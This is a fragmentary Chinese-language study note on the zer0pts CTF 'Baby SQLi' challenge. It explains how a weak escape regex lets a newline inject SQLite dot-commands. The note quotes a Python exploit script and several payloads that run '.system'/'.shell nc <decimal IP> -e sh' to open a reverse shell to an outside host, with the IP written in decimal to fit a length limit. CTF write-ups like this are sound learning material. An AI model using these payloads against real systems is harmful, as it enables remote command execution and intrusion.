今天看py的时候看到！

python自带的关系数据库！sqllite！

Baby SQLi

image-20210322000721506

大概写下感谢！

在mysql下：

image-20210322000801452

image-20210322000811223

这两个是一个结果！

可以看wp说sqllite是会报错的！

def sqlite3_escape(s):
    return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
    
    匹配除了_\.\sa-zA-Z0-9这些字符！


这里利用了sqllite的 py直接命令执行了！ 因为前面没有过来.

But this doesn't work because username is now 38 characters and the max is 32. We can use a single digit port to bring us down to 35 characters. What else can we shorten? Then I remembered that I can use the IP in decimal format. So 34.67.42.222 becomes 574827230, and our payload is now exactly 32 characters!
import requests

url = "http://web.ctf.zer0pts.com:8004"
username = '";\n.system nc 574827230 1 -e sh\n'
assert len(username) <= 32
data = {"username": username, "password": "hi"}
res = requests.post(f"{url}/login", data)
print(res.text)

ip改成10进制的！

IP地址，十六进制 二进制 二进制转换

今天装了sqlite3再来看看这个题！

return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
他过滤了！
把
_ 变成了 \_

sqlite> select "te""st";
te"st
sqlite> select 'te''st';
te'st
sqlite> select "te\"s\"t";

sqllite3里是“ 转义"   ‘转义单引号
";%0a.shell nc 1738048528 9 -e sh%0a
SELECT * FROM users WHERE username="\"\;


把"; 都转义了！
\"\;
虽然sqlite> select "te\"s\"t";报错了！
但是不妨碍下一条语句的执行！
有点像堆叠注入！

然后执行系统命令
.system sleep 3
win可以 .system dir


username=";%0a.shell nc 1738048528 9 -e sh%0a&password=123456


username=\"\;
.shell nc 1738048528 9 -e sh
&password=123456


SELECT * FROM users WHERE username=";
.system dir; 
AND password=123456;

794689786


SELECT * FROM users WHERE username="";
.system dir;
" AND password="123456";

image-20210508132558854